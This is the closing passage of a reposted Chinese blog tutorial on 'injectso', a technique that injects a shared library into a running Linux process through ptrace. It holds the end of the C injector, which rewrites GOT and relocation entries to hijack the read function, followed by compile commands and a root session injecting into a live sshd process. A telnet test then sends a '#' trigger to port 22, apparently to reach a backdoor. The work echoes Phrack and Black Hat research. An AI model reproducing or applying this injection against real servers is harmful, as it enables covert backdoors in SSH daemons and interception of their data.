old_addr = find_symbol(pid, map, sym_name);

printf("%s addr\t %p\n", sym_name, old_addr);

/* 函数重定向 */

puts("intercept..."); /* intercept */

ptrace_read(pid, rel_addr, &new_addr, sizeof(new_addr));

ptrace_write(pid, old_addr, &new_addr, sizeof(new_addr));

ptrace_write(pid, rel_addr, &sym_addr, sizeof(sym_addr));

puts("injectso ok");

/* 脱离进程 */

ptrace_detach(pid);

exit(0);

}

现在所有的工作都已经做好,你需要的是把上面介绍的函数都写到自己的.c程序文件

中,这样就可以编译了,我们来编译它

[root@grip2 injectso]# gcc -o injso injso.c p_dbg.c p_elf.c -Wall

[root@grip2 injectso]# ls

injso injso.c make p_dbg.c p_dbg.h p_elf.c p_elf.h so.c so.so

ok,启动ssh服务,并开始注射

[root@grip2 injectso]# /usr/sbin/sshd

[root@grip2 injectso]# ps -aux|grep sshd

root 763 0.0 0.4 2676 1268 ? S 21:46 0:00 /usr/sbin/sshd

root 1567 0.0 0.2 2004 688 pts/0 S 21:57 0:00 grep sshd

[root@grip2 injectso]# ./injso 763

phdr_addr 0x8048034

dyn_addr 0x8084c2c

GOT 0x80847d8

map_addr 0x40016998

[/lib/libdl.so.2]

[/usr/lib/libz.so.1]

[/lib/libnsl.so.1]

[/lib/libutil.so.1]

[/lib/libcrypto.so.2]

[/lib/i686/libc.so.6]

lib name [/lib/i686/libc.so.6]

found _dl_open at addr 0x402352e0

call _dl_open ok

[/lib/libdl.so.2]

[/usr/lib/libz.so.1]

[/lib/libnsl.so.1]

[/lib/libutil.so.1]

[/lib/libcrypto.so.2]

[/lib/i686/libc.so.6]

[/lib/ld-linux.so.2]

[/home/grip2/me/so.so]

lib name [/home/grip2/me/so.so]

newread addr 0x40017574

DT_SYMTAB

jmprel 0x804ac9c

read rel addr 0x8084bc0

[/lib/libdl.so.2]

[/usr/lib/libz.so.1]

[/lib/libnsl.so.1]

[/lib/libutil.so.1]

[/lib/libcrypto.so.2]

[/lib/i686/libc.so.6]

[/lib/ld-linux.so.2]

[/home/grip2/me/so.so]

lib name [/home/grip2/me/so.so]

oldread addr 0x40018764

intercept...

new_addr 0x401fc530

injectso ok

注射成功,测试一下,看看效果,可以在任何机器上telnet被注射机的22端口,

并传送一个#号

$ telnet 127.0.0.1 22

Trying 127.0.0.1...

Connected to 127.0.0.1.

Escape character is '^]'.

SSH-1.99-OpenSSH_2.9p2

#

八 ** 参考文献
http://packetstormsecurity.nl/mag/phrack/phrack59.tar.gz http://www.blackhat.com/presentations/bh-europe-01/shaun-clowes/injectso3.ppt ftp://tsx.mit.edu/pub/linux/packages/GCC/ELF.doc.tar.gz http://www.big.net.au/~silvio/lib-redirection.txt http://online.securityfocus.com/data/library/subversiveld.pdf
本文来自ChinaUnix博客,如果查看原文请点:http://blog.chinaunix.net/u/30686/showart_272157.html
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: